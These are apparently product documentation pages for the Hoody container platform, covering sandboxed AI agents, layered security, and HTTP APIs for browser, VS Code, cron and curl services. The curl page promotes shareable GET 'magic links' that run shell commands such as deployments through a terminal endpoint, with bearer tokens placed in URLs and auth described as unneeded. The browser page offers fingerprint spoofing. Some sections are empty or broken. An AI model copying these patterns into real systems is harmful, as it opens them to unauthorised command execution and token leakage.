    ```bash
    # 1. Create isolated container
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "ai-experiment", "server_id": "'$SERVER_ID'", "hoody_kit": true}'

    # 2. Lock down network
    curl -X POST "https://api.hoody.icu/api/v1/containers/$EXPERIMENT_ID/firewall/reset" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 3. Snapshot clean state
    curl -X POST "https://api.hoody.icu/api/v1/containers/$EXPERIMENT_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "clean-slate"}'

    # 4. Let AI work
    curl -X POST "https://$PROJECT_ID-$EXPERIMENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{"type": "text", "text": "Analyze this dataset and build a classification model"}], "autoApprove": true}'

    # 5-6. Inspect and restore if needed (restore = PATCH the snapshot by name)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$EXPERIMENT_ID/snapshots/clean-slate" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


The AI agent has full autonomy inside an air-gapped container. It can read data, write code, run experiments -- but it cannot exfiltrate anything because the firewall blocks all outbound traffic. When the experiment is done, inspect the results. If anything looks wrong, restore the clean snapshot. The data never left your hardware.


Zero-knowledge is not about preventing AI from being useful. It is about letting AI be maximally useful -- full root access, full filesystem access, full database access -- while ensuring the blast radius of any mistake or misbehavior is exactly one container on hardware you control.


---

## Defense in Depth

The strongest security posture layers multiple controls:

```
Layer 1: Bare Metal        → No shared hardware, no hypervisor attack surface
Layer 2: Container          → Process isolation, filesystem isolation
Layer 3: Firewall           → Network egress control, deny-all default
Layer 4: Proxy Permissions  → Authentication before HTTP reaches the container
Layer 5: Encrypted FS       → Data encrypted at rest (crypt backend)
Layer 6: Application        → Field-level encryption, input validation
Layer 7: Snapshots          → Rollback capability, audit via diff
Layer 8: Realms             → API-level tenant isolation
```

Each layer is independently configurable through HTTP. Each layer can be audited through HTTP. Each layer is a security boundary that an attacker must breach independently. Compromise one layer and the others still hold.

This is not defense in depth as a marketing term. It is eight distinct, HTTP-configurable security boundaries between an attacker and your data.

---

## What's Next

- **[Building a Full-Stack Application](/guides/full-stack-app/)** -- Build with security from the start
- **[Deploying Autonomous AI Agents](/guides/ai-agents/)** -- AI agents in isolated containers
- **[Proxy Permissions](/foundation/proxy/permissions/)** -- Fine-grained access control
- **[Firewall Configuration](/foundation/networking/firewall/)** -- Network-level security
- **[Encrypted Cloud Storage](/foundation/storage/cloud/)** -- Multi-backend encrypted storage

---

# Browser

**Page:** kit/browser

[Download Raw Markdown](./kit/browser.md)

---

**Chrome-as-a-service.** Hoody Browser gives you HTTP control over Chromium instances—start browsers, navigate pages, evaluate JavaScript, manage tabs, and capture DevTools URLs. Perfect for web scraping, automated testing, screenshot services, and AI-driven web interaction.


**Traditional**: Install Puppeteer/Playwright locally, manage Chrome binaries, handle headless mode.

**Hoody Browser**: HTTP API to control browser instances. No installation. Works from any language or tool that speaks HTTP.

- Start/stop/restart browser instances
- Browse URLs and evaluate JavaScript
- Full Chrome DevTools Protocol access via WebSocket
- Multiple concurrent instances with different configurations
- Fingerprint profiles for browser emulation


## What You Can Do

- **Instance Management** - Start, stop, restart isolated browser instances
- **Page Navigation** - Browse URLs and get page content
- **JavaScript Execution** - Evaluate JS in browser context via HTTP
- **Tab Management** - List and manage browser tabs
- **DevTools Access** - Get WebSocket URL for Chrome DevTools Protocol
- **Fingerprinting** - Configure user agent, viewport, geolocation, locale
- **Health Monitoring** - Track server metrics and instance health
- **Multiple Instances** - Run concurrent browsers on different ports

## API Endpoints Summary

All endpoints accessed relative to your Browser service URL:
```
https://PROJECT_ID-CONTAINER_ID-browser-1.SERVER.containers.hoody.icu
```

**Instance Management**:
- [`GET /start`](/api/browser/instance-management/) - Create or retrieve browser instance
- [`GET /stop`](/api/browser/instance-management/) - Stop browser instance
- [`GET /restart`](/api/browser/instance-management/) - Restart browser instance

**Browser Interaction**:
- [`GET /browse?url=...`](/api/browser/interaction/) - Navigate to URL (returns page content)
- [`POST /browse`](/api/browser/interaction/) - Navigate with POST body options
- [`GET /eval?script=...`](/api/browser/interaction/) - Evaluate JavaScript script
- [`POST /eval`](/api/browser/interaction/) - Evaluate JavaScript with POST body

**Page Content & Export**:
- [`GET /html`](/api/browser/interaction/) - Get page HTML content
- [`GET /text`](/api/browser/interaction/) - Get page text content
- [`GET /screenshot`](/api/browser/interaction/) - Take a screenshot of the page
- [`GET /pdf`](/api/browser/interaction/) - Export page as PDF

**Cookies**:
- [`GET /cookies`](/api/browser/control/) - Get browser cookies
- [`POST /cookies`](/api/browser/control/) - Set browser cookies
- [`DELETE /cookies`](/api/browser/control/) - Clear browser cookies

**Introspection & Control**:
- [`GET /metadata`](/api/browser/control/) - Get instance metadata and DevTools URL
- [`GET /tabs`](/api/browser/control/) - List browser tabs
- [`POST /tab/close`](/api/browser/control/) - Close a browser tab
- [`GET /devtools-url`](/api/browser/control/) - Get DevTools WebSocket URL
- [`GET /shutdown`](/api/browser/control/) - Shutdown browser instance

**Logs & History**:
- [`GET /console`](/api/browser/health/) - Get browser console logs
- [`GET /network`](/api/browser/health/) - Get network request/response logs
- [`GET /history`](/api/browser/health/) - Query browsing history
- [`DELETE /history`](/api/browser/health/) - Delete browsing history

**Health & Metrics**:
- [`GET /api/v1/browser/health`](/api/browser/health/) - Service health check
- [`GET /metrics`](/api/browser/health/) - Server performance metrics

## Quick Start


  
    ```bash
    # Start a browser instance
    hoody browser start -c <container-id> --browser-id "main"

    # Navigate to a URL
    hoody browser navigate-post -c <container-id> --browser-id "main" --url "https://example.com"

    # Execute JavaScript
    hoody browser eval-post -c <container-id> --browser-id "main" --script "document.title"

    # Take a screenshot
    hoody browser screenshot -c <container-id> --browser-id "main"

    # List open tabs
    hoody browser tabs list -c <container-id> --browser-id "main"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    const BROWSER_ID = 'default';

    // Start browser instance
    const instance = await containerClient.browser.instances.start({ browser_id: BROWSER_ID });

    // Navigate to URL
    const page = await containerClient.browser.interaction.browse({
      browser_id: BROWSER_ID,
      url: 'https://example.com',
    });

    // Execute JavaScript
    const result = await containerClient.browser.interaction.evalPost(
      { script: 'document.title' },
      { browser_id: BROWSER_ID },
    );

    // Take screenshot
    const screenshot = await containerClient.browser.interaction.takeScreenshot({ browser_id: BROWSER_ID });

    // List tabs
    const tabs = await containerClient.browser.introspection.listTabs({ browser_id: BROWSER_ID });
    ```
  
  
    ```bash
    # Start browser instance
    curl "https://PROJECT-CONTAINER-browser-1.SERVER.containers.hoody.icu/start?browser_id=default"

    # Navigate to URL
    curl "https://PROJECT-CONTAINER-browser-1.SERVER.containers.hoody.icu/browse?browser_id=default&url=https://example.com"

    # Execute JavaScript
    curl "https://PROJECT-CONTAINER-browser-1.SERVER.containers.hoody.icu/eval?browser_id=default&script=document.title"

    # List tabs
    curl "https://PROJECT-CONTAINER-browser-1.SERVER.containers.hoody.icu/tabs?browser_id=default"
    ```
  


**1. Start a browser instance:**



Returns instance metadata including the `webSocketDebuggerUrl` for Chrome DevTools Protocol access.

**2. Navigate to a page:**



**3. Execute JavaScript on the page:**



**4. List open tabs:**



## Browser Configuration

### Fingerprint Profiles

Configure browser identity for web scraping or testing:



**Available configuration:**
- **User Agent** - Custom browser identification string
- **Viewport** - Screen size and device pixel ratio
- **Geolocation** - Latitude/longitude spoofing
- **Locale & Timezone** - Language and time settings
- **Chromium Version** - Select specific Chrome version (`stable`, `beta`, `dev`, `canary`, or exact version)

### Multiple Instances

Run concurrent browser instances using different `browser_id` values:

```bash
# Start first instance
curl "https://PROJECT_ID-CONTAINER_ID-browser-1.SERVER.containers.hoody.icu/start?browser_id=scraper"

# Start second instance
curl "https://PROJECT_ID-CONTAINER_ID-browser-1.SERVER.containers.hoody.icu/start?browser_id=testing"

# Each instance is addressed by its browser_id
curl "https://PROJECT_ID-CONTAINER_ID-browser-1.SERVER.containers.hoody.icu/browse?browser_id=scraper&url=https://example.com"
curl "https://PROJECT_ID-CONTAINER_ID-browser-1.SERVER.containers.hoody.icu/browse?browser_id=testing&url=https://example.org"
```

Each instance is isolated with its own tabs, cookies, and state.

## Chrome DevTools Protocol

Get the WebSocket URL for direct CDP access:



Use the returned URL with Puppeteer, Playwright, or any CDP client:

```javascript
const puppeteer = require('puppeteer-core');

// Connect to Hoody Browser instance
const browser = await puppeteer.connect({
  browserWSEndpoint: 'ws://...'  // URL from /devtools-url
});

const page = await browser.newPage();
await page.goto('https://example.com');
await page.screenshot({ path: 'screenshot.png' });
```

## Use Cases

- **Web Scraping** - Extract data from websites via HTTP API
- **Automated Testing** - Run E2E tests against web applications
- **Screenshot Services** - Capture webpage screenshots on demand
- **AI Web Interaction** - Let AI agents browse and interact with web pages
- **PDF Generation** - Render HTML to PDF via Chrome's print functionality
- **Performance Monitoring** - Audit web performance metrics

## What's Next

- [Browser Instance Management API](/api/browser/instance-management/) - Start, stop, restart instances
- [Browser Interaction API](/api/browser/interaction/) - Navigate and evaluate JavaScript
- [Browser Control API](/api/browser/control/) - Metadata, tabs, and DevTools
- [Browser Health API](/api/browser/health/) - Metrics and monitoring
- [cURL Service](/kit/curl/) - For simpler HTTP requests without a browser
- [Exec Service](/kit/exec/) - Execute scripts that orchestrate browser automation

---

# Code

**Page:** kit/code

[Download Raw Markdown](./kit/code.md)

---

# Code

**VS Code as a URL** - Spawn isolated VS Code instances on-demand through HTTP requests, embed specific extensions in your applications, password-protect environments, and manage multiple development workspaces from a single orchestrator.

## What You Can Do

- 🚀 **Spawn Instances** - Create isolated VS Code environments via HTTP
- 🧩 **Extension Embedding** - Open specific extensions in isolated views
- 🔐 **Password Protection** - Password authentication for secure access
- 📂 **Multi-Workspace** - Independent settings and extensions per instance
- 🎯 **Instance Isolation** - Separate data directories per instance
- 📊 **Health Monitoring** - Track orchestrator status and running instances
- ⚙️ **Custom Configuration** - Pass CLI flags via query parameters
- 🔄 **Instance Reuse** - Existing instances load instantly without spawning

## API Endpoints Summary

All endpoints accessed relative to your Code Orchestrator URL:
```
https://PROJECT_ID-CONTAINER_ID-code-1.SERVER.containers.hoody.icu
```

**Instance Rendering**:
- [`GET /api/v1/code?folder=/path`](/api/code/instance-management/) - Spawn/reuse VS Code instance
- Parameters: `extension`, `locale`, etc.

**Authentication**:
- [`POST /api/v1/code/mint-key`](/api/code/) - Generate server web key
- [`GET /api/v1/code/login`](/api/code/) - Get login page
- [`POST /api/v1/code/login`](/api/code/) - Submit login credentials
- [`GET /api/v1/code/logout`](/api/code/) - Logout and clear session

**Extensions**:
- [`POST /api/v1/code/extensions/install`](/api/code/instance-management/) - Install a VS Code extension

**Health & Status**:
- [`GET /api/v1/code/health`](/api/code/health-monitoring/) - Orchestrator health check

## Basic Instance

Spawn VS Code for a folder:


  
    ```bash
    # Spawn a VS Code instance
    hoody code open --folder "/home/user/my-project"

    # List installed extensions
    hoody code extensions list

    # Check health
    hoody code health
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Get VS Code instance
    const instance = await containerClient.code.vscode.getVSCode({
      folder: '/home/user/my-project',
    });

    // List extensions
    const extensions = await containerClient.code.extensions.list();

    // Check health
    const health = await containerClient.code.health.check();
    ```
  
  
    ```bash
    # Spawn VS Code instance (opens in browser)
    curl "https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu/api/v1/code?folder=/home/user/my-project"

    # Check health
    curl "https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu/api/v1/code/health"
    ```
  




Returns HTML page with iframe embedding VS Code.

## Extension-Only Mode

Embed specific VS Code extensions:

**Python extension in isolated view:**



**Docker extension:**



**Effect**: Hides file explorer, focuses on extension UI only.

## Password Protection

Password-based authentication is configured when the Code service is launched (via CLI flag). Submit credentials through the login endpoint:

```bash
# Submit login credentials
curl -X POST "https://PROJECT_ID-CONTAINER_ID-code-1.SERVER.containers.hoody.icu/api/v1/code/login" \
  -d 'password=my-password'
```

The `mint-key` endpoint is separate — it generates or retrieves the 32-byte server web key used internally for encryption (not a password API):

```bash
# Generate/retrieve server web key (binary response)
curl -X POST "https://PROJECT_ID-CONTAINER_ID-code-1.SERVER.containers.hoody.icu/api/v1/code/mint-key"
```

## Instance Isolation

Each instance creates:

**Data Directory**:
```
/data/instances/
├── extensions/ # Installed extensions
├── User/       # Settings, keybindings
└── workspace/  # Workspace state
```

## Instance Lifecycle

**First Request** - Fresh spawn:
- Show loading overlay
- Spawn VS Code process
- Configure based on parameters
- Return iframe when ready

**Subsequent Requests** - Instant reuse:
- No loading overlay
- Reuse existing instance
- Same state preserved
- Instant response

**Reuse**: Existing instances load instantly without re-spawning.

## Custom Configuration

Pass any VS Code CLI flag:



**Parameter Forwarding**:
- Boolean flags → `--flag` (no value)
- Key-value → `--key value`
- Reserved: `extension` (not forwarded to CLI)

## Health Monitoring

**Health Check:**



Response:
```json
{
  "status": "ok",
  "service": "hoody-code",
  "started": "2024-01-15T10:30:00.000Z",
  "built": "2024-01-10T09:00:00.000Z",
  "pid": 1234,
  "ip": "10.0.0.12",
  "memory": { "rss": 44145050, "heap": 29884416 },
  "fds": 42,
  "userAgent": "hoody-code/1.0"
}
```

## Use Cases

### Multi-Tenant Development
Create isolated environment per user - complete setting separation, no cross-contamination, independent extension installations.

### Embedded Development Tools
Embed specific extensions in applications - use extension-only mode, hide file explorer, focus on functionality.

### Educational Platforms
Sandboxed coding environments - password-protect student instances, pre-configure extensions, monitor health, clean instances between sessions.

### CI/CD Automation
Automated code editing - spawn temporary instances, execute through extensions, clean up after completion, integrate with build pipelines.

### Extension Showcases
Demonstrate VS Code extensions - embed in documentation, show extension capabilities, provide interactive demos, no installation required for users.

## Best Practices

### Instance Strategy
Use separate folders per project for isolation, plan capacity for expected load.

### Folder Paths
Always use absolute paths (`/home/user/project`), never use relative paths or `..`, validate paths to prevent traversal, ensure folders exist before spawning.

### Password Security
Configure passwords via CLI flag when launching the Code service, rotate passwords regularly, be aware URLs may leak in logs/history.

### Resource Management
Monitor health via `/api/v1/code/health`, implement cleanup for old instances, track data directory disk usage.

### Extension Configuration
Validate extension IDs (`PUBLISHER.NAME`), test compatibility before embedding, document system dependencies, pin versions for consistency.

## Useful Questions

**Q: How many instances can I run?**
Practically limited by memory/CPU on the container.

**Q: Do instances persist after restart?**
Data directories persist (extensions, settings), running processes don't - must re-spawn.

**Q: Can I customize VS Code appearance?**
Use CLI flags via parameters: `locale`, load custom CSS/JS, configure through extension settings.

**Q: How do I update extensions?**
Extensions installed per instance directory, update via VS Code UI within instance, or restart with fresh data directory.

**Q: What's the startup time for new instances?**
Fresh spawn: 5-15 seconds depending on extensions, reuse existing: instant (under 1 second), loading overlay hides spawn delay.

**Q: Can I run multiple Code services?**
Yes - use different instance numbers (code-1, code-2), each has independent orchestrator, separate port ranges and data directories.

**Q: How do I embed in my app?**
Request the URL with `extension` parameter, embed returned page in iframe, handle authentication if needed, monitor health endpoint.

## Troubleshooting

### Instance Won't Start
**Cause**: Folder not found, invalid parameters.
**Solution**: Verify folder exists and is absolute path, ensure required `folder` parameter present, check orchestrator logs.

### Extension Not Loading
**Cause**: Invalid extension ID or web-incompatible extension.
**Solution**: Verify ID format `PUBLISHER.NAME`, check extension supports web version, test without extension-only mode first, visit marketplace to confirm ID.

### Password Authentication Fails
**Cause**: Incorrect password or login endpoint misuse.
**Solution**: Verify password matches the one configured via CLI flag, check URL encoding of form body, confirm the service was started with password authentication enabled.

### High Resource Usage
**Cause**: Too many instances running.
**Solution**: Check health with `/api/v1/code/health`, implement instance cleanup policy, increase server resources.

### Instance State Lost
**Cause**: Data directory cleared.
**Solution**: Don't delete data directories of active instances, back up critical instance data.

### Health Check Fails
**Cause**: Orchestrator down or network issue.
**Solution**: Verify orchestrator process running, check network connectivity, ensure port 8080 accessible, review orchestrator logs for errors.

## What's Next

---

# Containers

**Page:** kit/containers

[Download Raw Markdown](./kit/containers.md)

---

This page has moved to the [Foundation Containers section](/foundation/containers/create-edit-delete/).

---

# Cron

**Page:** kit/cron

[Download Raw Markdown](./kit/cron.md)

---

**Cron-as-a-service.** Hoody Cron wraps the system crontab in a REST API with managed entries, enable/disable toggles, auto-expiration, and per-user isolation. Standard 5-field cron expressions plus macros like `@hourly` and `@daily`.


**Managed Entries**: JSON-based CRUD with UUIDs, comments, enable/disable, and auto-expiration. The API injects entries into the system crontab with tracking metadata.

**Raw Crontab**: Full read/write access to the raw crontab file per user. Use this when you need complete control or have existing crontab workflows.


## What You Can Do

- **Managed Entries** - Create, update, delete cron jobs via JSON API with UUIDs
- **Enable/Disable** - Toggle jobs on and off without deleting them
- **Auto-Expiration** - Set `expires_at` for temporary jobs that clean themselves up
- **Per-User Isolation** - Each system user has their own crontab
- **Raw Crontab** - Read and write the full crontab file directly
- **Standard Cron** - 5-field expressions (`* * * * *`) plus macros (`@hourly`, `@daily`, `@weekly`, `@monthly`, `@yearly`)
- **Comments & Metadata** - Attach human-readable comments to managed entries

## API Endpoints Summary

All endpoints accessed relative to your Cron service URL:
```
https://PROJECT_ID-CONTAINER_ID-cron-1.SERVER.containers.hoody.icu
```

**Managed Entries**:
- [`GET /users/{user}/entries`](/api/cron/entries/) - List managed entries for a user
- [`POST /users/{user}/entries`](/api/cron/entries/) - Create a new managed entry
- [`GET /users/{user}/entries/{id}`](/api/cron/entries/) - Get a specific entry
- [`PATCH /users/{user}/entries/{id}`](/api/cron/entries/) - Update an entry
- [`DELETE /users/{user}/entries/{id}`](/api/cron/entries/) - Delete an entry

**Raw Crontab**:
- [`GET /crontab`](/api/cron/crontab/) - List all user crontabs
- [`GET /users/{user}/crontab`](/api/cron/crontab/) - Get raw crontab for a user
- [`PUT /users/{user}/crontab`](/api/cron/crontab/) - Replace raw crontab for a user

**System**:
- [`GET /health`](/api/cron/) - Health check

## Quick Start: Create a Scheduled Job


  
    ```bash
    # Create a cron job that runs daily at 9 AM
    hoody cron entries create root \
      --schedule "0 9 * * *" \
      --command "/usr/local/bin/backup.sh" \
      --comment "Daily backup at 9 AM"

    # List all cron entries
    hoody cron entries list root

    # Update a job's schedule
    hoody cron entries update root $ENTRY_ID \
      --schedule "0 12 * * *"

    # View the raw crontab
    hoody cron crontabs get root
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Create a daily cron job
    const entry = await containerClient.cron.entries.create('root', {
      schedule: '0 9 * * *',
      command: '/usr/local/bin/backup.sh',
      comment: 'Daily backup at 9 AM',
      enabled: true,
    });

    // List all entries
    const entries = await containerClient.cron.entries.list('root');

    // Disable temporarily
    await containerClient.cron.entries.update('root', entryId, {
      enabled: false,
    });
    ```
  
  
    ```bash
    # Create a daily cron job
    curl -X POST "https://PROJECT-CONTAINER-cron-1.SERVER.containers.hoody.icu/users/root/entries" \
      -H "Content-Type: application/json" \
      -d '{
        "schedule": "0 9 * * *",
        "command": "/usr/local/bin/backup.sh",
        "comment": "Daily backup at 9 AM",
        "enabled": true
      }'

    # List all entries
    curl "https://PROJECT-CONTAINER-cron-1.SERVER.containers.hoody.icu/users/root/entries"

    # Disable a job
    curl -X PATCH "https://PROJECT-CONTAINER-cron-1.SERVER.containers.hoody.icu/users/root/entries/$ENTRY_ID" \
      -H "Content-Type: application/json" \
      -d '{"enabled": false}'
    ```
  


**1. Create a managed cron entry:**



**2. List all managed entries:**



**3. Disable a job temporarily:**



## Cron Schedule Reference

Standard 5-field cron expressions:

```
┌───────────── minute (0-59)
│ ┌───────────── hour (0-23)
│ │ ┌───────────── day of month (1-31)
│ │ │ ┌───────────── month (1-12)
│ │ │ │ ┌───────────── day of week (0-6, Sun=0)
│ │ │ │ │
* * * * *
```

**Common patterns:**
| Schedule | Expression |
|---|---|
| Every minute | `* * * * *` |
| Every hour | `0 * * * *` |
| Every day at midnight | `0 0 * * *` |
| Weekdays at 9 AM | `0 9 * * 1-5` |
| Every Sunday at 3 AM | `0 3 * * 0` |
| First day of month | `0 0 1 * *` |

**Macros:** `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`

## Auto-Expiration

Set `expires_at` on managed entries for temporary jobs that automatically remove themselves:

> /var/log/health.log",
  "comment": "Temporary health monitoring - auto-expires",
  "enabled": true,
  "expires_at": "2025-01-02T00:00:00Z"
}'
/>

## Raw Crontab Access

For full control, read and write the raw crontab directly:

**Read the current crontab:**



**Replace the entire crontab:**



## Use Cases

- **Scheduled backups** - Run backup scripts at regular intervals
- **Data processing** - ETL jobs, report generation, log rotation
- **Health monitoring** - Periodic health checks with auto-expiring entries
- **Temporary tasks** - Time-limited monitoring or data collection
- **Maintenance** - Cache cleanup, database optimization, certificate renewal

## What's Next

- [Cron API Reference](/api/cron/) - Complete API documentation
- [Managed Entries API](/api/cron/entries/) - CRUD operations for managed entries
- [Raw Crontab API](/api/cron/crontab/) - Direct crontab file access
- [Daemons](/kit/daemons/) - For always-running processes (vs scheduled tasks)
- [Exec](/kit/exec/) - Execute scripts as HTTP endpoints

---

# cURL

**Page:** kit/curl

[Download Raw Markdown](./kit/curl.md)

---

**HTTP requests as HTTP endpoints** - Execute any HTTP request via simple GET calls, wrap complex POST operations into shareable URLs, schedule recurring requests with cron, and persist cookie sessions automatically. Powered by **libcurl** (Rust bindings) - the battle-tested, proven HTTP library trusted by millions of applications.

## What You Can Do

- 🔄 **POST→GET Wrapping** - Turn any POST request into a shareable GET URL
- 🌐 **WebSocket Multiplexed Channel** - Pay TCP/TLS once, run hundreds of concurrent cURLs over one socket
- ⚡ **Server-Sent Events (SSE)** - Auto-detect upstream `text/event-stream` and stream events as they arrive (OpenAI / Anthropic / your AI agent — all just work)
- 📅 **Scheduled Requests** - Set cron schedules for recurring HTTP calls
- 🍪 **Session Management** - Auto-persist cookies across multiple requests
- ⚙️ **Async Execution** - Queue long-running requests and retrieve results later
- 💾 **Response Storage** - Save to `/hoody/storage/curl/downloads/` directory
- 🎯 **Advanced Options** - Full cURL power: proxies, auth, retries, timeouts
- 📦 **TypeScript SDK** - Drop-in `fetch()` over the WebSocket channel; SSE responses arrive as streaming `Response.body`
- 🔧 **Battle-Tested** - Built on libcurl (Rust) for reliability

## API Endpoints Summary

All endpoints accessed relative to your cURL service URL:
```
https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu
```

**Request Execution**:
- [`GET /api/v1/curl/request`](/api/curl/execution/) - Simple HTTP requests via GET
- [`POST /api/v1/curl/request`](/api/curl/execution/) - Advanced requests with full options

**Sessions**:
- [`GET /api/v1/curl/sessions`](/api/curl/sessions/) - List all cookie sessions
- [`GET /api/v1/curl/sessions/{id}`](/api/curl/sessions/) - Get session details
- [`GET /api/v1/curl/sessions/{id}/cookies`](/api/curl/sessions/) - Get session cookies
- [`DELETE /api/v1/curl/sessions/{id}`](/api/curl/sessions/) - Delete session

**Jobs**:
- [`GET /api/v1/curl/jobs`](/api/curl/jobs/) - List async jobs
- [`GET /api/v1/curl/jobs/{id}`](/api/curl/jobs/) - Get job details
- [`GET /api/v1/curl/jobs/{id}/result`](/api/curl/jobs/) - Get job response
- [`DELETE /api/v1/curl/jobs/{id}`](/api/curl/jobs/) - Cancel job

**Scheduling**:
- [`POST /api/v1/curl/schedule`](/api/curl/scheduling/) - Create scheduled request
- [`GET /api/v1/curl/schedule`](/api/curl/scheduling/) - List schedules
- [`GET /api/v1/curl/schedule/{id}`](/api/curl/scheduling/) - Get schedule details
- [`PATCH /api/v1/curl/schedule/{id}/toggle`](/api/curl/scheduling/) - Enable/disable schedule
- [`DELETE /api/v1/curl/schedule/{id}`](/api/curl/scheduling/) - Remove schedule

**Storage**:
- [`GET /api/v1/curl/storage`](/api/curl/storage/) - List saved files
- [`GET /api/v1/curl/storage/{path}`](/api/curl/storage/) - Download saved file
- [`DELETE /api/v1/curl/storage/{path}`](/api/curl/storage/) - Delete saved file

**Realtime — WebSocket + Server-Sent Events**:
- [`GET /api/v1/curl/channel`](#websocket-multiplexed-request-channel) - Multiplexed request channel (one WebSocket, many concurrent cURLs)
- [`GET /api/v1/curl/ws`](#job-event-streams) - WebSocket job lifecycle events (alias `/ws`)
- [`GET /api/v1/curl/sse`](#job-event-streams) - Server-Sent Events job lifecycle stream (alias `/sse`)

## The POST→GET Revolution

**THE Killer Feature**: Wrap any complex POST request into a simple, shareable GET URL.

**Traditional Approach** (NOT shareable):
```bash
curl -X POST "https://api.example.com/search" \
  -H "Authorization: Bearer token123" \
  -H "Content-Type: application/json" \
  -d '{"query": "user data", "filters": {...}}'
```

**Hoody Approach** (Shareable URL):
```
GET https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu/api/v1/curl/request?\
url=https://api.example.com/search&\
method=POST&\
headers={"Authorization":"Bearer token123"}&\
json={"query":"user data","filters":{...}}

# Now this complex POST is a simple GET URL you can:
# - Share via email/chat
# - Embed in documentation
# - Bookmark in browser
# - Use in no-code tools
# - Schedule with cron
```

**Why This Matters**: POST operations become first-class URLs, unlocking workflows impossible in traditional HTTP.

## Magic Links — Everything is a URL

The POST→GET wrapping above is just the start. When you combine hoody-curl with other Hoody services, any workflow — no matter how complex — becomes **a single clickable URL**. We call these **magic links**.

**One-click deploy** — pull code, install deps, restart service:
```
GET .../api/v1/curl/request?url=https://CONTAINER-terminal-1.../api/v1/terminal/execute&method=POST&json={"command":"cd /app && git pull && npm install && npm run build","wait":true}
```

**AI-powered summary** — send a webpage to Hoody AI, get a summary back:
```
GET .../api/v1/curl/request?url=https://ai.hoody.icu/api/v1/chat/completions&method=POST&headers={"Authorization":"Bearer container-1"}&json={"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"Summarize: https://example.com/article"}]}
```

**More magic link ideas:**

| Magic Link | What it does |
|---|---|
| **One-click demo** | Restore a snapshot → start the app → return the live URL |
| **AI code review** | Fetch a file from the container → send to Hoody AI → return review |
| **Database export** | Query SQLite → format as CSV → save to Files → return download link |
| **Health check + auto-heal** | Check daemon status → if FATAL, restart → return status report |
| **Scheduled AI digest** | Cron-fetch RSS feeds → send to AI for summarization → save report |
| **Webhook relay** | GitHub push → pull code in container → rebuild → restart daemon |
| **Container factory** | Create a new container → configure it → return its service URLs |
| **One-click backup** | Snapshot container + export SQLite + zip project → return download |
| **AI translation** | Fetch a doc → send to Hoody AI with target language → return translated version |
| **Status dashboard** | Query multiple daemons + services → combine into a single JSON health report |

**The pattern**: Any chain of Hoody API calls can be encoded into a single GET URL. Share it in chat, bookmark it, embed it in a no-code tool, or schedule it with cron. No client-side code needed — just click.

## GET Wrapping for AI: The Universal Trigger

This is hoody-curl's killer use case for AI. Any AI that can web-fetch — ChatGPT, Claude, Claude Code, Cline, any agent — can trigger a full Hoody workflow through a single GET URL. No SDK. No auth ceremony. No POST body to construct. You wrap the complex operation once; from that point on, any platform capable of fetching a URL can deploy your code, run a database migration, or restart a service.

```
# Chatbot triggers a full deployment pipeline:
GET .../api/v1/curl/request?url=https://CONTAINER-terminal-1.../execute&method=POST&json={"command":"cd /app && git pull && bun run deploy","wait":true}
```

Combine with `@hoody.com` Skill delivery: an external AI learns your infrastructure's API, wraps the critical actions as GET URLs, and hands them back to non-technical users as one-click links. The complexity is invisible. The URL is the interface.

---

## Simple vs Advanced Requests


  
    ```bash
    # Simple GET request
    hoody curl exec \
      --url "https://api.example.com/data" \
      --follow-redirects --response json

    # Advanced POST request
    hoody curl exec \
      --url "https://api.example.com/users" \
      --method POST \
      --timeout 30

    # Create a scheduled request (6-field cron: second minute hour day month weekday)
    hoody curl schedules create \
      --cron "0 0 9 * * MON-FRI" \
      --request-url "https://api.example.com/daily-report" \
      --request-method POST
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Simple GET request
    const data = await containerClient.curl.execute({
      url: 'https://api.example.com/data',
      follow_redirects: true,
      response: 'json',
    });

    // Advanced POST request
    const result = await containerClient.curl.execute({
      url: 'https://api.example.com/users',
      method: 'POST',
      timeout: 30,
    });

    // Create scheduled request (6-field cron: second minute hour day month weekday)
    const schedule = await containerClient.curl.schedules.create({
      cron: '0 0 9 * * MON-FRI',
      request: { url: 'https://api.example.com/daily-report', method: 'POST' },
    });
    ```
  
  
    ```bash
    # Simple GET request
    curl "https://PROJECT-CONTAINER-curl-1.SERVER.containers.hoody.icu/api/v1/curl/request?url=https://api.example.com/data&follow_redirects=true&response=json"

    # Advanced POST request
    curl -X POST "https://PROJECT-CONTAINER-curl-1.SERVER.containers.hoody.icu/api/v1/curl/request" \
      -H "Content-Type: application/json" \
      -d '{
        "url": "https://api.example.com/users",
        "method": "POST",
        "timeout": 30
      }'
    ```
  


**Simple GET** (query parameters):



